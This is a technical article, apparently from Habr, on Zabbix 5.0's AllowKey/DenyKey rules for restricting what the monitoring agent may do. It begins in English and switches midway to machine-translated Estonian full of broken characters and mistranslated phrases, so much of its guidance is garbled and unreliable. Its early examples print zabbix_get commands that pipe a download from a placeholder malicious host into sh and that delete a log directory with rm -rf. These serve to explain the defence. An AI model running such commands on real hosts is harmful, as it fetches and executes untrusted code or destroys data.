
Mustuse must-haves and blacklists for agent-side metrics
Tihon Uskov, Integration Engineer, Zabbix
Data Security Issues
Zabbix 5.0 introduced a new feature that enhances security in systems using Zabbix Agent and replaces the old parameter EnableRemoteCommands.
The improvement of security systems using the agent is due to the fact that the agent can perform a large number of potentially dangerous actions.
- The agent can collect almost any information, including confidential or potentially dangerous material, from configuration files, log files, password files, or any other files.
For example, using the zabbix_get utility, one can access the list of users, their home directories, password files, etc.

Accessing data via the zabbix_get utility
MĂRKUS. Data can only be obtained if the agent has read rights to the corresponding file. But, for instance, the file /etc/passwd/ is readable by all users.
- The agent can also execute potentially dangerous commands. For example, the key *system.run[]** allows executing any remote commands on network nodes, including launching scripts from the Zabbix web interface that also execute commands on the agent side.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- In Linux, the agent by default runs without root privileges, whereas in Windows it runs as a service under the System account and has unrestricted access to the file system. Consequently, if no changes are made to the Zabbix Agent settings after installation, the agent has access to the registry, file system, and can execute WMI queries.
In earlier versions, the parameter EnableRemoteCommands=0 only disabled metrics with the key *system.run[]** and script execution from the web interface, but it did not allow for restricting access to individual files, allowing or denying specific keys set with the agent, or limiting the use of specific parameters.

The use of the EnableRemoteCommand parameter in earlier versions of Zabbix
AllowKey/DenyKey
Zabbix 5.0 helps protect against such unauthorized access with whitelists and blacklists for allowing and disallowing agent-side metrics.
In Zabbix 5.0, all keys, including *system.run[]**, are allowed, and two new agent configuration parameters have been added:
AllowKey= â lubatud kontrollid;
DenyKey= â keelatud kontrollid;
kus â vĂ”tme nime mustern, kus kasutatakse metasĂŒmboleid (*).
KlĂ”psud AllowKey ja DenyKey vĂ”imaldavad lubada vĂ”i keelata individuaalseid mÔÔdikuid vastavalt kindlale mustrile. Erinevalt muudest konfiguratsiooni parameetritest ei ole AllowKey/DenyKey parameetrite arv piiratud. See vĂ”imaldab selgelt mÀÀratleda, mida agent sĂŒsteemis teha vĂ”ib, luues kontrollide puu â tĂ€idetud vĂ”tmed, kus vĂ€ga oluline osa on nende kirjutamise jĂ€rjekord.
Reeglites jÀrjekord
Reeglid kontrollitakse selles jĂ€rjekorras, nagu need on lisatud konfiguratsioonifaili. VĂ”tme kontrollimine reeglite jĂ€rgi toimub esimese vaste korral, ja kohe kui andmeelemendi vĂ”ti vastab mustrile, lubatakse vĂ”i keelatakse see. PĂ€rast seda peatatakse reeglite kontroll ja ĂŒlejÀÀnud vĂ”tmed jĂ€etakse tĂ€helepanuta.
Seega, kui element vastab nii lubava kui ka keelava reegli nÔuetele, sÔltub tulemus sellest, milline reegel on konfiguratsioonifailis esimesena.

2 erinevat reeglit sama mustri ja vÔtmega vfs.file.size[/tmp/file]
KasutusjÀrjestus vÔtmete AllowKey/DenyKey:
- tÀpsed reeglid,
- ĂŒldised reeglid,
- keelav reegel.
NÀiteks, kui vajate juurdepÀÀsu failidele kindlas kaustas, peate kÔigepealt lubama ligipÀÀsu neile, seejÀrel keelama kÔik muu, mis ei kuulu seatud lubade alla. Kui esmatÀhtis on keelav reegel, siis juurdepÀÀs kaustale keelatakse.

Ăige jĂ€rjekord
Kui on vajalik lubada kahe utiliidi kÀivitamine lÀbi *system.run[]**, ja esmatÀhtsaks on mÀrgitud keelav reegel, siis utiliidid ei kÀivitu, sest esimene muster vastab alati igale vÔtmele ja jÀrgnevaid reegleid ignoreeritakse.

Vale jÀrjekord
Mustrid
PÔhireeglid
Muster â vĂ€ljend, mis sisaldab asendusmĂ€rke (wildcard). MetasĂŒmbol (*) vastab mis tahes hulga mis tahes sĂŒmbolitele kindlas kohas. MetasĂŒmboleid vĂ”ib kasutada nii vĂ”tme nimedesse kui ka parameetritesse. NĂ€iteks saab esimese parameetri kindlalt mÀÀrata tekstiga, ja jĂ€rgmist saab mÀÀrata kui wildcard.
Parameetrid peavad olema asetatud nurksulgudesse [].
system.run[*â valevfs.file*.txt]â valevfs.file.*[*]â Ă”ige
Wildcards'i kasutamise nÀited.
- MĂŒĂŒgivĂ”tme nimes ja parameetris. Antud juhul ei vasta vĂ”ti sarnasele vĂ”tmele, mis ei sisalda parameetrit, kuna mustris oleme mÀÀranud, et soovime saada teatud vĂ”tme lĂ”ppu ja teatud parameetrite kogumi.
- Kui mustris ei kasutata nurksulgusid, lubab muster kÔiki vÔtmeid, mis ei sisalda parameetreid, ja keelab kÔik vÔtmed, millel on mÀÀratud parameeter.
- Kui vÔti on tÀielikult kirjutatud ja parameetrid on mÀÀratud wildcards'ina, vastab see igale sarnasele vÔtmele, millel on igasugused parameetrid, ning ei vasta vÔtmele ilma nurksulgudeta, st see on lubatud vÔi keelatud.

Parameetrite tÀitmise reeglid.
- Kui eeldatakse, et vĂ”tme kasutamine koos parameetritega, peavad parameetrid olema konfiguratsioonifailis kirjas. Parameetrid tuleb mÀÀrata meta-sĂŒmbolina. Tuleb ettevaatlikult keelduda juurdepÀÀsust mĂ”nele failile ja arvesse vĂ”tta, mida statistikad vĂ”ivad genereerida erinevate kirjutamisvariatsioonide puhul - koos parameetrite ja ilma nendeta.

Parameetritega vÔtmete kirjutamise eripÀra
- Kui vĂ”ti on mÀÀratud parameetritega, kuid parameetrid on valikulised ja mÀÀratud meta-sĂŒmbolina, siis vĂ”tme ilma parameetriteta lubatakse. NĂ€iteks, kui soovite keelata teabe hankimise CPU koormuse kohta ja mÀÀrate, et vĂ”ti system.cpu.load[*] peab olema keeldunud, Ă€rge unustage, et vĂ”ti ilma parameetriteta tagastab keskmise koormuse vÀÀrtuse.

Parameetrite tÀitmise reeglid
MĂ€rkused
Seadistamine
- MÔned reeglid ei saa kasutaja poolt muutuda, nÀiteks avastamise reeglid (discovery) vÔi agentide automaatregistreerimise reeglid. Reeglid AllowKey/DenyKey ei puuduta jÀrgmisi parameetreid:
â HostnameItem
â HostMetadataItem
â HostInterfaceItem
MĂRKUS. Kui administraator keelab mĂ”ne vĂ”tme, ei edasta Zabbix pĂ€ringul teavet selle kohta, miks statistika vĂ”i vĂ”ti kuulub kategooriasse âNOTSUPPORTEDâ. Agentide logifailides ei kuvata ka keelatud kaugjuhtimise tellimuste teavet. See on tehtud turvakaalutlustel, kuid vĂ”ib muuta tĂ”rkeotsingu keeruliseks, kui statistikad satuvad mĂ”nel pĂ”hjusel toetamata kategooriasse..
- Ărge lootke mingile kindlale jĂ€rjekorrale, kuidas vĂ€liseid konfiguratsioonifaile ĂŒhendatakse (nĂ€iteks tĂ€hestikulises jĂ€rjekorras).
KĂ€skude reaalajas utiliidid
Seadistamine tuleb pÀrast reeglite seadistamist veenduda, et kÔik on Ôigesti seadistatud.
Saate kasutada ĂŒhte kolmest valikust:
- Lisage mÔÔdik Zabbixisse.
- Testige jĂ€rgmisel viisil zabbix_agentd. Zabbixi agent valikuga -print (-p) nĂ€itab kĂ”iki vĂ”tmeid (mis on vaikimisi lubatud), vĂ€lja arvatud need, mis ei ole konfiguratsioonis lubatud. Valikuga -test (-t) tagab, et keelatud vĂ”tme puhul naaseb âUnsupported item keyâ.
- Testige jĂ€rgmisel viisil zabbix_get. Utiliit zabbix_get valikuga -k tagastab âZBX_NOTSUPPORTED: Unknown metricâ.
Lubage vÔi keelake
Saate keelata faili juurdepÀÀsu ning veenduda nÀiteks utiliidi zabbix_get, et faili juurdepÀÀs on keelatud.

**
MĂRKUS. MĂ€rkide tsitaatides ignoreeritakse.
Sel juhul vĂ”ib juurdepÀÀs sellele failile olla lubatud teise tee kaudu. NĂ€iteks, kui sellele suunab sĂŒmboolne link.

Soovitame testida erinevaid reeglite kasutamise variatsioone ning arvesse vĂ”tta vĂ”imalusi keelude ĂŒmbersuunamiseks.
KĂŒsimused ja vastused
KĂŒsimus. Miks on reeglite, lubade ja keelude kirjeldamiseks valitud nii keeruline mustriskeem oma keelekeskkonnaga? Miks ei saanud kasutada nĂ€iteks regulaaravaldisi, mida Zabbix kasutab?
Vastus. See on regulaaravaldiste jĂ”udluse kĂŒsimus, kuna agent on tavaliselt ainus ja see kontrollib tohutut arvu mÔÔdikuid. Regulaaravaldised on piisavalt ressursimahukas operatsioon ja me ei saa kontrollida tuhandeid mÔÔdikuid sellisel viisil. Wildcards on universaalne, laialdaselt rakendatav ja lihtne lahendus..
KĂŒsimus. Kas Include-failid ei laeta jĂ€rjekorras, mis on tĂ€hestikulises jĂ€rjekorras?
Vastus. Nii palju kui mina tean, on reeglite rakendamise jĂ€rjestuse ettearvamine, kui jagate reeglid erinevatesse failidesse, tegelikult vĂ”imatu. Soovitan koguda kĂ”ik AllowKey/DenyKey reeglid ĂŒhte Include-faili, kuna nad mĂ”jutavad ĂŒksteist, ja laadida see fail.
KĂŒsimus. Zabbix 5.0 mugavus 'EnableRemoteCommands=âkonfiguratsioonifailis puudub, ja saadaval on ainult AllowKey/DenyKey?
Vastus. Jah, kÔik on Ôige..
AitÀh tÀhelepanu eest!
Allikas: habr.com
